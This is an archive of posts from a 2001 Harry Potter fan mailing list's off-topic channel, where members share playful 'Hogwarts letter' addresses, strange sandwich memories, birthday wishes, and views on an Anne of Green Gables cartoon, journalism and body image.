Ottawa, Ontario
Canada

Our house is old and our bedroom was once a summer
kitchen, the porch (and the rest of the house) is
constantly under renovation. My street is one block
long and definitely uphill on both ends, even the
snowplows can't always get onto the street! My
daughter said her address would be the same except her
bedroom would be 'The Smallest Bedroom, that used to
be a Living Room'. Before the house was converted to
an upper/lower duplex, her bedroom had been part of
the living room. She's the lucky one, she still has
the original hardwood floors!

Sheryll, who meanders between love and hate for a
house in need of constant repairs

--- pbnesbit at msn.com wrote:
> --- In HPFGU-OTChatter at y..., "Heather Hettick"
> <hettick.1 at o...> wrote:
> > > 
> > Mine would be:
> > 
> > Mrs. Heather Hettick
> > The Bedroom at the Top of the Stairs with more Dog
> Beds than People 
> Beds
> > Small Farm with Spotted/Horned Sheep and a Llama
> > Across the Road from the Golf Course
> > Creston, Ohio
> > USA
> > 
> > > 
> Heather, 
> 
> I love your address (sheep!! and a Llama!!  I'm a
> weaver--can you 
> tell?)
> 
> Mine would be:
> 
> Mrs Parker Brown-Nesbit
> The Trailer Disguised as a Yellow Submarine with a
> Sleeping Dog out 
> Front
> In the Clearing in the Woods
> Middleton Place 
> Charleston, SC USA 
> 
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
> To unsubscribe from this group, send an email to:
> HPFGU-OTChatter-unsubscribe at yahoogroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From g_keddle at yahoo.com  Sun Sep  2 11:27:03 2001
From: g_keddle at yahoo.com (g_keddle at yahoo.com)
Date: Sun, 02 Sep 2001 11:27:03 -0000
Subject: Anne of Green Gables: Animated Series
In-Reply-To: <9ms15l+e4ea@eGroups.com>
Message-ID: <9mt527+55om@eGroups.com>

--- In HPFGU-OTChatter at y..., "Ebony" <ebonyink at h...> wrote:
> 
> 
> It's a Very Bad Thing.  Kevin Sullivan's behind this.  He's made a 
> cinematic career from destroying LMM's work... and he annoys me.
> 

There's a small war in my house over this. I want to read the books 
to my daughter and then have her fall in love with Megan Fellows 
(sp?) in the PBS series. She's 6 next month, so it's a little soon to 
start. I really don't want her seeing the animated version, but she's 
caught a glimpse of a trailer and somehow sensed my displeasure, so 
of course it's all she talks about. It's similar to the Pocahantas 
and Anastasia situation - those are the first videos she asks about 
when she visits a new friend's house. 

Gert




From blpurdom at yahoo.com  Sun Sep  2 11:55:28 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 02 Sep 2001 11:55:28 -0000
Subject: Vile sandwiches  
In-Reply-To: <3B9196AF.42D8A9D8@texas.net>
Message-ID: <9mt6ng+ff35@eGroups.com>

Why is it that most of the "vile sandwiches" seem to involve peanut 
butter in some way?  My dirty little secret from when I was about ten 
was that I briefly was into making peanut butter, pickle, olive and 
baloney sandwiches.  The peanut butter mainly functioned as mortar.  
It was a phase that passed.

My mother's "vile sandwich" isn't so much vile as considered strange 
by most people I know who have ever heard of it.  She doesn't like 
boiled ham that much (so one has to wonder why she eats it at all) so 
to make ham sandwiches more palatable, she puts chocolate cupcakes in 
them.  The contrast in tastes/textures is interesting, but when she 
packed me these sandwiches for lunch when I was in third grade, I got 
very funny looks from other kids.  My sister's solution to boring ham 
and boloney sandwiches was to put potato chips in between the layers 
of meat, producing a great deal of crunching with every bite.

--Barb





From tabouli at unite.com.au  Sun Sep  2 14:29:27 2001
From: tabouli at unite.com.au (Tabouli)
Date: Mon, 3 Sep 2001 00:29:27 +1000
Subject: Oppressing the overdog
Message-ID: <00d701c133bb$c3e2b4c0$ef91aecb@price>

Sheryll:

>Excellents posts, both of you. Let me throw another
>thought out to you. Let's not forget that the
>discrimination goes both ways.

Phew, you wouldn't ever, ever, *ever* catch me forgetting that, let me tell you.  Quite apart from living in Australia, Land of the Tall Poppy Choppers, I could dredge up tens of examples from my own personal experience alone (the amount of punishment I cop for being my father's favorite, presumably to correct the supposed pampering, is enough to make me avoid my family almost completely).
 
As well as being stridently opposed to homophobia in all its horrid guises, I am also opposed to oppressing the overdog.   Hence my comments about physical beauty being a mixed blessing for women a few months ago.
 
A case in point: a couple of years ago, I took a short course in Modern Greek on the island of Ikaria.  Every now and then, this stunning French woman called Sandrine would turn up at the school, apparently because she was trying to cultivate a relationship with Michaelis, one of our teachers.  She didn't say much, and wore sleeveless summer dresses which were short but not outrageously so (mid thigh-ish).  The reaction from the other women (all the students were women, mostly aged 30-50) in the course was quite disturbing.  "Why doesn't she say more?  She thinks she's too good to talk to us" (had she been ugly, I bet they'd have said the poor thing was shy, and that we should make more of an effort to bring her out of herself).  "Poor Michaelis, I hope he sees through her." (poor Sandrine, more like: given no-one had really talked to her, who were they to assume she was a manipulative bimbo on the basis of her looks alone?).  "For God's sake, does she have to swan about in those cutesy little dresses all the time?" (um, it was very hot, and they did suit her: why shouldn't she?)
 
Worst of all, at the a party I engaged in a little mild bantering with Michaelis, and as I left one of the other women started laughing uncontrollably.  "You should have seen Sandrine's face when you were flirting with Michaelis!  She just scowled and scowled, and the more you flirted, the more she scowled and the MORE I LAUGHED!"  Seriously nasty stuff.  In the end I decided to befriend poor Sandrine myself, and she was actually intelligent (she was working in Athens as an interpreter) and pleasant, and seemed quite relieved to have someone to talk to after sensing the hostility from the other women.

The same goes for savaging men on the grounds that it's their turn to suffer for a change (for God's sake, doesn't female chauvinism come under the "two wrongs don't make a right" category?), being horrible to thin women (um, isn't the issue we're fighting about body image?  Surely degrading women on the basis of their body shape applies to both ends of the spectrum?), Sheryll's example and so on.  OK, so oppression is horrible, and it's natural for oppressed groups to want a better deal, but surely vengeance (oppress the oppressor back), however satisfying in the short term, only perpetuates the problem, especially given that the oppressed are by definition fighting from a position of less power.  
 
In my view, any change in an oppressive status quo requires that the overdogs be willing to understand, make an effort and  sacrifice some of their privileges.  If they're constantly under vicious assault from the less fortunate, only a very understanding, compassionate minority are likely to do this: the rest will probably say "well sod you then, I win, I have more power and I'm keeping it, so bad luck" and rush off to reinforce the walls, widen the moat and insert their ear plugs.  I see it all the time in the gender issue department.

This issue also plagues cross-cultural training.  I have heard of sessions where upset staff have walked out because they felt that they were being taught that being a middle class white Australian (read: overdogs) made them intrinsically bad oppressive and racist people and that they needed to make concessions for every other culture.  Um, trainer, hello???  If you're teaching cross-cultural sensitivity, being very insensitive to your audience's culture is *not* a great place to start!

Sigh.  It's a cruel, hard world...

Tabouli.


[Non-text portions of this message have been removed]




From neilward at dircon.co.uk  Sun Sep  2 15:33:04 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sun, 2 Sep 2001 16:33:04 +0100
Subject: We have two birthdays...
Message-ID: <003301c133c4$8faef8e0$893670c2@c5s910j>

Over on the main list, a week or so ago, Parker said:

<< Friday was the one year anniversary of this group.  A year of marvelous
discussions, nitpicks, laughter, and yes, even tears. >>

Later, Mindy wondered:

<< HP4GU's Birthday: Wow! Mazel Tov! It has only been a year?  >>

In fact, it's been almost two years since the *birth* of Harry Potter for
Grownups.  August 24th was the first anniversary of our move from Yahoo to
eGroups (which later became YahooGroups) and our second birthday is coming
up very soon - on September 17th 2001.

Incidentally, the ghost of the old Yahoo club is still there, and some
people continue to post to it, but pretty much everyone who was a member at
the time jumped ship in August last year.

As I write this, we've seen a total of 33,187 messages posted to the list,
plus a few added to the ghost-club since we moved.  Further to that, there
have been 5,966 messages posted to OT Chatter, since its creation on
February 7th 2001 and 249 to Announcements, since that kicked in on March
6th.  That's pushing 40,000 messages in total.

Okay... that was fun.  Anyone would think I had nothing to do...

Neil/Flying Ford Anglia





From neilward at dircon.co.uk  Sun Sep  2 15:43:36 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sun, 2 Sep 2001 16:43:36 +0100
Subject: [HPFGU-OTChatter] Re: Vile sandwiches
References: <9mt6ng+ff35@eGroups.com>
Message-ID: <004801c133c6$07e872e0$893670c2@c5s910j>

Barb admitted:

<< ...I briefly was into making peanut butter, pickle, olive and baloney
sandwiches.  The peanut butter mainly functioned as mortar.  >>

Why anyone would want to work peanut butter around their mouth and pass it
through their digestive system, I have no idea.  However, thanks for the DIY
tip: one jar of the stuff will probably spread far enough to tile my
bathroom walls from floor to ceiling.  <g>

Neil





From absinthe at mad.scientist.com  Sun Sep  2 16:08:45 2001
From: absinthe at mad.scientist.com (Milz)
Date: Sun, 02 Sep 2001 16:08:45 -0000
Subject: Anne of Green Gables: Animated Series
In-Reply-To: <9mrqng+n8dc@eGroups.com>
Message-ID: <9mtlid+6njn@eGroups.com>

Well, I just finished watching the first episode. It wasn't a horrific 
travesty, but it wasn't spectacular imo either. At least from this 
first episode, they took Anne's hair dye scene from "Anne of Green 
Gables" and expanded it to be a cautionary tale about accepting people 
if they are different. The Diana character is background fluff, not 
really contributing anything, but seems to have been included just 
"because". The Gilbert character is dull-witted in comparision to the 
"real" Gilbert, but on par with every other cartoon young male 
character. The fairies and nymphs are there to be Anne's conscious: 
she talks to them and they give her good or bad advise. Actually, the 
animated series is like Anne fanfic for the under ten years old crowd.

Sullivan's first Anne movie wasn't too bad in terms of being "true to 
the book". In fact, I thought it was well done compared to film 
adaptations of other novels. I consider the second and third Sullivan 
Anne movies to be fanfic and don't give much credence to them. The one 
good thing about the second movie, imo, is that it at least borrowed 
enough from the books to retain the flavor of LMM's characters and 
flavor, such as, Diana entering Anne's story in that flour company 
contest. The third movie had its charm but COMPLETELY waivered from 
the books. Gilbert, Anne and international espionage during the First 
World War...PLUH-leaze! But then again, I've never been a fan of 
fanfic.

 




From diagonalley_ at hotmail.com  Sun Sep  2 17:05:15 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Sun, 02 Sep 2001 13:05:15 -0400
Subject: [HPFGU-OTChatter] Oppressing the overdog
Message-ID: <F184QR7j1HaKtKufVma0000244e@hotmail.com>

Sorry, just felt the urge to comment on this...

>As well as being stridently opposed to homophobia in all its horrid guises, 
>I am also opposed to oppressing the overdog.   Hence my comments about 
>physical beauty being a mixed blessing for women a few months ago.

<snip>

>The same goes for savaging men on the grounds that it's their turn to 
>suffer for a change (for God's sake, doesn't female chauvinism come under 
>the "two wrongs don't make a right" category?), being horrible to thin 
>women (um, isn't the issue we're fighting about body image?

*sighs*  Well, living in New York City, I am constantly bombarded with 
armies of thin, perfect women as I walk down the street.  And being a 
college student, most of the girls my age are thin, perfect girls.  
Personally, I'm what you'd probably call "comfortable" - by no means fat, 
but not thin either.  5'9" and a women's size 12.  Which I think is a 
perfectly reasonable size to be, though being a 10 would be nice.  But when 
surrounded by size 2's on a daily basis, it's a little hard not to be 
bitter.

Thank god I have a boyfriend.  The competition here is a kinda steep.

Makes me miss the suburbs.  Too much TV and driving everywhere make for a 
nicely rounded herd. ;}

Ali
(who's not really sure why this post was needed, but felt like making it 
anyway)

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From hamster8 at hotmail.com  Sun Sep  2 17:07:45 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Sun, 02 Sep 2001 17:07:45 -0000
Subject: Vile sandwiches - Marshmallows
In-Reply-To: <9mt6ng+ff35@eGroups.com>
Message-ID: <9mtp11+qeph@eGroups.com>

Barb ...

"My sister's solution to boring ham and boloney sandwiches was to put 
potato chips in between the layers of meat, producing a great deal of 
crunching with every bite."

Mmm ... crisp sandwiches.

What???

Thankfully, I was through my peanut butter phase by about age 12.  
However, I do remember a brief marketing stunt by some American 
company trying to tap the UK market with something called Marshmallow 
Fluff.  I'd be very interested to know if they still make it 
Stateside, btw (I would *not* like anybody to send me a jar).  This 
was, IIRC, a sort of spreadable marshmallow paste, which, according 
to the blurb on the jar, when added to a peanut butter sandwich, 
produced something known as a 'Fluffernutter' - to which I was 
addicted for about three months.

Al
-Where schnoogling happens a lot, and we think Nancy Stouffer is hot.
-Got Snitch!?  Join the Snitch! group at 
http://groups.yahoo.com/group/Snitch




From jenP_97 at yahoo.com  Sun Sep  2 17:36:13 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Sun, 02 Sep 2001 17:36:13 -0000
Subject: Vile sandwiches - Marshmallows
In-Reply-To: <9mtp11+qeph@eGroups.com>
Message-ID: <9mtqmd+its1@eGroups.com>

--- In HPFGU-OTChatter at y..., hamster8 at h... wrote:

<snip>

> Thankfully, I was through my peanut butter phase by about age 12.  
> However, I do remember a brief marketing stunt by some American 
> company trying to tap the UK market with something called 
> Marshmallow Fluff.  I'd be very interested to know if they still 
> make it Stateside, btw (I would *not* like anybody to send me a 
> jar).  This was, IIRC, a sort of spreadable marshmallow paste, 
> which, according to the blurb on the jar, when added to a peanut 
> butter sandwich, produced something known as a 'Fluffernutter' - 
> to which I was addicted for about three months.
> 
> Al

Yes, they still make Marshmallow Fluff, they still have the 
Fluffernutter recipe on the side, and I, too, was addicted to them in 
my pre-adolescence... but only while I was at my Aunt's house during 
the summers.  Otherwise, my dad thought it was vile and wouldn't buy 
it.  Of course, my aunt was the only one who bought Nutella, too...  
I used to "fix" fluffernutters by adding a little of that, too.

I think I mentioned before on this list (during an early food 
discussion) that I used to eat cotto salami rolled up into tubes with 
Cool Whip in the middles... it doesn't really qualify as a 
"sandwich", but it was pretty gross.  My dad used to make peanut 
butter and pickle sandwiches... which I always refused to try.  My 
daughter recently dug a Carr's croissant cracker into some whipped 
cream and loved the combo.  What a strange family I seem to be a 
member of.

Jen (who doesn't eat Marshmallow Fluff, Cool Whip or cotto salami 
anymore... they must have become associated with my semi-traumatic 
pre-adolescent period)




From jfaulkne at eden.rutgers.edu  Sun Sep  2 19:19:31 2001
From: jfaulkne at eden.rutgers.edu (Jen Faulkner)
Date: Sun, 2 Sep 2001 15:19:31 -0400 (EDT)
Subject: Birthday greetings
In-Reply-To: <F211Sm3QqsYaWQYeSxa00000b6a@hotmail.com>
Message-ID: <Pine.GSO.4.21.0109021508060.9203-100000@er6.rutgers.edu>

Hey everyone--

Let's all wish a happy birthday to Meg Rose, whose birthday it is today!

Raise a glass of butterbeer, have a piece of ooey, gooey cake, and send
greetings to the birthday girl --

megrose_13 at yahoo.com (That's megrose_13 at yahoo.com).

Best returns of the day, Meg!  Felicem diem natalem. :)

--jenny elf, in for Amy Z :)

* * * * * * 
Jen's fics (and other cool stuff):
http://www.eden.rutgers.edu/~jfaulkne/
Jen's lj: http://www.livejournal.com/users/lysimache/
Snapeslash listmom: http://groups.yahoo.com/group/snapeslash/
Yes, I *am* the Deictrix.





From s_ings at yahoo.com  Sun Sep  2 19:26:35 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Sun, 2 Sep 2001 12:26:35 -0700 (PDT)
Subject: [HPFGU-OTChatter] Birthday greetings
In-Reply-To: <Pine.GSO.4.21.0109021508060.9203-100000@er6.rutgers.edu>
Message-ID: <20010902192635.24181.qmail@web14603.mail.yahoo.com>

Happy Birthday Meg Rose! Hope it's everything you want
it to be.

Sheryll, glass raised, eating ooey, gooey cake - what?
It's your cake, I'm supposed to save you some? NOW you
tell me! <vbg>

--- Jen Faulkner <jfaulkne at eden.rutgers.edu> wrote:
> Hey everyone--
> 
> Let's all wish a happy birthday to Meg Rose, whose
> birthday it is today!
> 
> Raise a glass of butterbeer, have a piece of ooey,
> gooey cake, and send
> greetings to the birthday girl --
> 
> megrose_13 at yahoo.com (That's megrose_13 at
> yahoo.com).
> 
> Best returns of the day, Meg!  Felicem diem natalem.
> :)
> 
> --jenny elf, in for Amy Z :)
> 
> * * * * * * 
> Jen's fics (and other cool stuff):
> http://www.eden.rutgers.edu/~jfaulkne/
> Jen's lj:
> http://www.livejournal.com/users/lysimache/
> Snapeslash listmom:
> http://groups.yahoo.com/group/snapeslash/
> Yes, I *am* the Deictrix.
> 
> 
> 
> ------------------------ Yahoo! Groups Sponsor
> 
> To unsubscribe from this group, send an email to:
> HPFGU-OTChatter-unsubscribe at yahoogroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to
> http://docs.yahoo.com/info/terms/ 
> 
> 


=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

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From catlady at wicca.net  Sun Sep  2 23:18:18 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sun, 02 Sep 2001 23:18:18 -0000
Subject: Birthday greetings
In-Reply-To: <20010902192635.24181.qmail@web14603.mail.yahoo.com>
Message-ID: <9muenq+ib0c@eGroups.com>

--- In HPFGU-OTChatter at y..., Sheryll Townsend <s_ings at y...> wrote:
> Happy Birthday Meg Rose! Hope it's everything you want
> it to be.
> 
> Sheryll, glass raised, eating ooey, gooey cake - what?
> It's your cake, I'm supposed to save you some? NOW you
> tell me! <vbg>

Happy Birthday, Meg Rose! Happy cake, Sheryll.




From witchwanda2002 at yahoo.com  Sun Sep  2 23:35:40 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sun, 2 Sep 2001 16:35:40 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: Birthday greetings
In-Reply-To: <9muenq+ib0c@eGroups.com>
Message-ID: <20010902233540.59513.qmail@web13704.mail.yahoo.com>

I second that! Raise a glass of Butterbeer and hope
Sheryll enjoys the cake! Happy Birthday Meg Rose! Hope
your Birthday wish comes true and you get some CAKE!

Wanda the Witch of Revere, Massachusetts and Her Merry
Band of Muggles too!

--- "Catlady (Rita Prince Winston)"
<catlady at wicca.net> wrote:
> --- In HPFGU-OTChatter at y..., Sheryll Townsend
> <s_ings at y...> wrote:
> > Happy Birthday Meg Rose! Hope it's everything you
> want
> > it to be.
> > 
> > Sheryll, glass raised, eating ooey, gooey cake -
> what?
> > It's your cake, I'm supposed to save you some? NOW
> you
> > tell me! <vbg>
> 
> Happy Birthday, Meg Rose! Happy cake, Sheryll.
> 
> 


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From crabtree at ktc.com  Mon Sep  3 01:47:06 2001
From: crabtree at ktc.com (Jo)
Date: Mon, 03 Sep 2001 01:47:06 -0000
Subject: addressing your hogwarts letter
In-Reply-To: <9mkfhs+7aps@eGroups.com>
Message-ID: <9muneq+3rla@eGroups.com>


<snip>
> Anyone else got a fun addy?  
<snip>

Professor J.C. Phlash
Room with the Broken Ceiling Fan
House with the White Gate
Road with Rattlesnakes and Roadrunners
Northeast Kimble County 
Junction, Texas
U.S.A.

By the way, I have been really busy this week and haven't been able 
to get on line.  I feel like I have come home now that I can read all 
of your posts.  

Professor Phlash





From witchwanda2002 at yahoo.com  Mon Sep  3 02:00:42 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Sun, 2 Sep 2001 19:00:42 -0700 (PDT)
Subject: [HPFGU-OTChatter] Re: addressing your hogwarts letter
In-Reply-To: <20010902091316.18214.qmail@web14601.mail.yahoo.com>
Message-ID: <20010903020042.19890.qmail@web13703.mail.yahoo.com>

Everybody has such interesting addresses! I had to
mention my birds! The bird we thought was a baby robin
is actually an african wagtail. They must have been
brought over years ago along with the starlings! Had
to mention our newest mouth to feed until we can set
it free.
Mrs. Wanda Mallett
Bedroom at the front of the house
Birds, birds everywhere
Brick House with fish wind chimes
Revere,Massachusetts only a 30 minute walk to the
beach
I should have also mentioned my muggles aka 3 stooges!
Love to read all the different place that was posted!

Wanda

--- Sheryll Townsend <s_ings at yahoo.com> wrote:
> I've been getting a smile from everyone's addresses,
> but it took me while to come up with mine.
> 
> Mrs. Sheryll Townsend
> The Bedroom that Used to be a Kitchen
> The White House with the Porch Posts Wrapped in
> Plastic
> The Little Street That's Uphill on Both Ends
> Ottawa, Ontario
> Canada
> 
> Our house is old and our bedroom was once a summer
> kitchen, the porch (and the rest of the house) is
> constantly under renovation. My street is one block
> long and definitely uphill on both ends, even the
> snowplows can't always get onto the street! My
> daughter said her address would be the same except
> her
> bedroom would be 'The Smallest Bedroom, that used to
> be a Living Room'. Before the house was converted to
> an upper/lower duplex, her bedroom had been part of
> the living room. She's the lucky one, she still has
> the original hardwood floors!
> 
> Sheryll, who meanders between love and hate for a
> house in need of constant repairs
> 
> --- pbnesbit at msn.com wrote:
> > --- In HPFGU-OTChatter at y..., "Heather Hettick"
> > <hettick.1 at o...> wrote:
> > > > 
> > > Mine would be:
> > > 
> > > Mrs. Heather Hettick
> > > The Bedroom at the Top of the Stairs with more
> Dog
> > Beds than People 
> > Beds
> > > Small Farm with Spotted/Horned Sheep and a Llama
> > > Across the Road from the Golf Course
> > > Creston, Ohio
> > > USA
> > > 
> > > > 
> > Heather, 
> > 
> > I love your address (sheep!! and a Llama!!  I'm a
> > weaver--can you 
> > tell?)
> > 
> > Mine would be:
> > 
> > Mrs Parker Brown-Nesbit
> > The Trailer Disguised as a Yellow Submarine with a
> > Sleeping Dog out 
> > Front
> > In the Clearing in the Woods
> > Middleton Place 
> > Charleston, SC USA 
> > 
> > 
> > 
> > ------------------------ Yahoo! Groups Sponsor
> > 
> > To unsubscribe from this group, send an email to:
> > HPFGU-OTChatter-unsubscribe at yahoogroups.com
> > 
> >  
> > 
> > Your use of Yahoo! Groups is subject to
> > http://docs.yahoo.com/info/terms/ 
> > 
> > 
> 
> 
> =====
> "Do not meddle in the affairs of dragons, for thou
> art crunchy and taste good with ketchup."
> 
> __________________________________________________
> Do You Yahoo!?
> Get email alerts & NEW webcam video instant
> messaging with Yahoo! Messenger
> http://im.yahoo.com
> 


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From miss_megan at dingoblue.net.au  Mon Sep  3 02:07:55 2001
From: miss_megan at dingoblue.net.au (storm)
Date: Mon, 03 Sep 2001 02:07:55 -0000
Subject: addressing your hogwarts letter
In-Reply-To: <9muneq+3rla@eGroups.com>
Message-ID: <9muolr+kpvk@eGroups.com>


> <snip>
> > Anyone else got a fun addy?  
> <snip>
> 
Storm
On the Enclosed Verandah*
Above The Garage
Behind The Palms
Next To The Phone Box
On The Road Into Town
Sydney, Au.



*I live in a flat that is supposed to be two bedroom, sadly neither 
of them function as bedrooms being either too noisy (aka lounge room) 
or too small (dressing room). The veranah however does very nicely. 

storm








From diagonalley_ at hotmail.com  Mon Sep  3 02:35:41 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Sun, 02 Sep 2001 22:35:41 -0400
Subject: Newbie Guide
Message-ID: <F111suot0OUIHNkjgJK00002dd4@hotmail.com>

Hey

A few of you might remember my asking for help with a Newbie Guide to HP I 
was writing a month or so back.  First of all, many thanks to everyone who 
sent their comments and crits!  They were loads of help, and kept me from 
making TOO much of an idiot of myself. ;}

Secondly, just wanted to post a link to the most recent version....if anyone 
has time, I'm always looking for suggestions on how to improve it.  This 
fandom has meant a lot to me, and I'd love to give something back.

http://home.nyu.edu/~amw243/resources/newbie.html

Ali
(feeling productive!)

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From Alyeskakc at aol.com  Mon Sep  3 04:10:07 2001
From: Alyeskakc at aol.com (Kristin)
Date: Mon, 03 Sep 2001 04:10:07 -0000
Subject: What has happened to Journalistic Integrity?
Message-ID: <9muvqv+p8e7@eGroups.com>

Kick 'em when they're up. Kick 'em when they're down. Kick 'em all 
around. We all know that crap is king. Give 'em Dirty Laundry.
 -Don Henley

Okay I'm going to rant a bit here based on the MSNBC article by 
Christopher Noxon. 

What ever happened to asking Who?, What?, When?, Where?, Why? and How?
When I was majoring in Journalism, before switching to Marketing, 
this is what we were taught. Know your facts and report on them, not 
on your opinion. Of course this was back in circa 1984-85.

However, in today's world of Tabloid Journalism that no longer seems 
to be the case. Even a lot of the hard news programs have resorted to 
sensational journalism. Anything to get the story first, research and 
facts be damned. We can always retract later. 

Here's the new journalistic standard, IMO. Print or show a story for 
the titillation factor and by all means don't get both sides of the 
story. Make sure you skew the piece towards whichever side can cause 
the most controversy, because then your Q rating will go through the 
roof. Oh, and this is most important, make sure the headline or 
teaser is as inflammatory as possible. This way you'll *hook* the 
reader/viewer.

The media has become less of an information source and more of a 
entertainment entity. I'm not saying that all journalists are bad; 
there are those that practice the 5 W's and do proper research. But 
just take look at your local news and you'll see what I'm talking 
about. Objective journalism is going the way of the Dodo bird.

Cheers,

Kristin   ::who steps off her soap box::






From katzefan at yahoo.com  Mon Sep  3 05:10:28 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Mon, 03 Sep 2001 05:10:28 -0000
Subject: addressing your hogwarts letter
In-Reply-To: <20010902091316.18214.qmail@web14601.mail.yahoo.com>
Message-ID: <9mv3c4+iv8r@eGroups.com>

Like Sheryll, I had to think about this for a bit:

Apartment with Four Cats and Perpetual Chaos
Third Floor
Building with All The Flowers
Welland, ON
Canada
__________________

--- In HPFGU-OTChatter at y..., Sheryll Townsend <s_ings at y...> 
wrote:
> I've been getting a smile from everyone's addresses,
> but it took me while to come up with mine.
> 
> Mrs. Sheryll Townsend
> The Bedroom that Used to be a Kitchen
> The White House with the Porch Posts Wrapped in
> Plastic
> The Little Street That's Uphill on Both Ends
> Ottawa, Ontario
> Canada
> 
> Our house is old and our bedroom was once a summer
> kitchen, the porch (and the rest of the house) is
> constantly under renovation. My street is one block
> long and definitely uphill on both ends, even the
> snowplows can't always get onto the street! My
> daughter said her address would be the same except her
> bedroom would be 'The Smallest Bedroom, that used to
> be a Living Room'. Before the house was converted to
> an upper/lower duplex, her bedroom had been part of
> the living room. She's the lucky one, she still has
> the original hardwood floors!
> 
> Sheryll, who meanders between love and hate for a
> house in need of constant repairs





From aiz24 at hotmail.com  Mon Sep  3 11:26:43 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 03 Sep 2001 11:26:43 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <004801c133c6$07e872e0$893670c2@c5s910j>
Message-ID: <9mvpdj+i3ve@eGroups.com>

Neil wrote:

> Why anyone would want to work peanut butter around their mouth and 
pass it
> through their digestive system, I have no idea.  

You're getting into forbidden territory here.  Peanut butter isn't a 
food, it's a religion, and I'll thank you to treat it with respect. 
<g>

Amy Z
The High Priestess of PB

-----------------------------------
 Puree of Peanut, we praise thee
 Elixir of Legume, we praise thee
 Who is like unto thee, cementing
  dentures, infusing tired cells
  with protein and yea, many fats?
 Sing praise to the Goober of God.
           --from the High Holy
             Days prayerbook
-----------------------------------




From gypsycaine at yahoo.com  Mon Sep  3 13:07:53 2001
From: gypsycaine at yahoo.com (Dee R)
Date: Mon, 3 Sep 2001 09:07:53 -0400
Subject: Happy Birthday Meg!
References: <999506796.379.6233.l10@yahoogroups.com>
Message-ID: <00f301c13479$716339e0$10ccfea9@computer>

Hope it's great!:)

And that your dress robes aren't tattered to dance in!

Dee



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From meboriqua at aol.com  Mon Sep  3 13:27:44 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Mon, 03 Sep 2001 13:27:44 -0000
Subject: Peanut Butter (was Vile sandwiches)
In-Reply-To: <9mvpdj+i3ve@eGroups.com>
Message-ID: <9n00gg+pojh@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> 
> Amy Z
> The High Priestess of PB
> 
> -----------------------------------
>  Puree of Peanut, we praise thee
>  Elixir of Legume, we praise thee
>  Who is like unto thee, cementing
>   dentures, infusing tired cells
>   with protein and yea, many fats?
>  Sing praise to the Goober of God.
>            --from the High Holy
>              Days prayerbook
> -----------------------------------

Amy, I must share with you a very special recipe.  I haven't had it in 
years, but I remember it fondly.  It is called "Home Made Reese's 
Peanut Putter Cups", though you'll have to shape them yourself.

*Take any peanut butter of your choice, though creamy works best 
(amount is up to you)
*Take any hot chocolate mix (chocolate syrup will also do, and again, 
amount is up to you)
*Add a tiny bit of water to the mix so that it is very thick
*Scoop out some PB with a spoon and dip into thick chocolate mix
*MMMMMMMMMM!
*Watch delicious snack stick to your thighs and rear

Aaaaah - that brings back such memories of sleep away camp!

--jenny from ravenclaw, who, on Halloween, pretty much stole anything 
from her students that was Reese's related (Nutrageous was 
particularly delicious) **************************************




From s_ings at yahoo.com  Mon Sep  3 13:38:49 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Mon, 3 Sep 2001 06:38:49 -0700 (PDT)
Subject: Body Image (was Re: [HPFGU-OTChatter] Oppressing the overdog)
In-Reply-To: <F184QR7j1HaKtKufVma0000244e@hotmail.com>
Message-ID: <20010903133849.16418.qmail@web14604.mail.yahoo.com>


--- Ali Wildgoose <diagonalley_ at hotmail.com> wrote:
> Sorry, just felt the urge to comment on this...
> 
> >As well as being stridently opposed to homophobia
> in all its horrid guises, 
> >I am also opposed to oppressing the overdog.  
> Hence my comments about 
> >physical beauty being a mixed blessing for women a
> few months ago.
> 
> <snip>
> 
> >The same goes for savaging men on the grounds that
> it's their turn to 
> >suffer for a change (for God's sake, doesn't female
> chauvinism come under 
> >the "two wrongs don't make a right" category?),
> being horrible to thin 
> >women (um, isn't the issue we're fighting about
> body image?
> 
> *sighs*  Well, living in New York City, I am
> constantly bombarded with 
> armies of thin, perfect women as I walk down the
> street.  And being a 
> college student, most of the girls my age are thin,
> perfect girls.  
> Personally, I'm what you'd probably call
> "comfortable" - by no means fat, 
> but not thin either.  5'9" and a women's size 12. 
> Which I think is a 
> perfectly reasonable size to be, though being a 10
> would be nice.  But when 
> surrounded by size 2's on a daily basis, it's a
> little hard not to be 
> bitter.
> 
> Thank god I have a boyfriend.  The competition here
> is a kinda steep.
> 
> Makes me miss the suburbs.  Too much TV and driving
> everywhere make for a 
> nicely rounded herd. ;}
> 
> Ali
> (who's not really sure why this post was needed, but
> felt like making it 
> anyway)
> 
I can totally relate to what you're saying Ali. Once
upon a time, I was a size 9. Bear in mind how sizes
have changed, what I wore as a size 9 is now what my
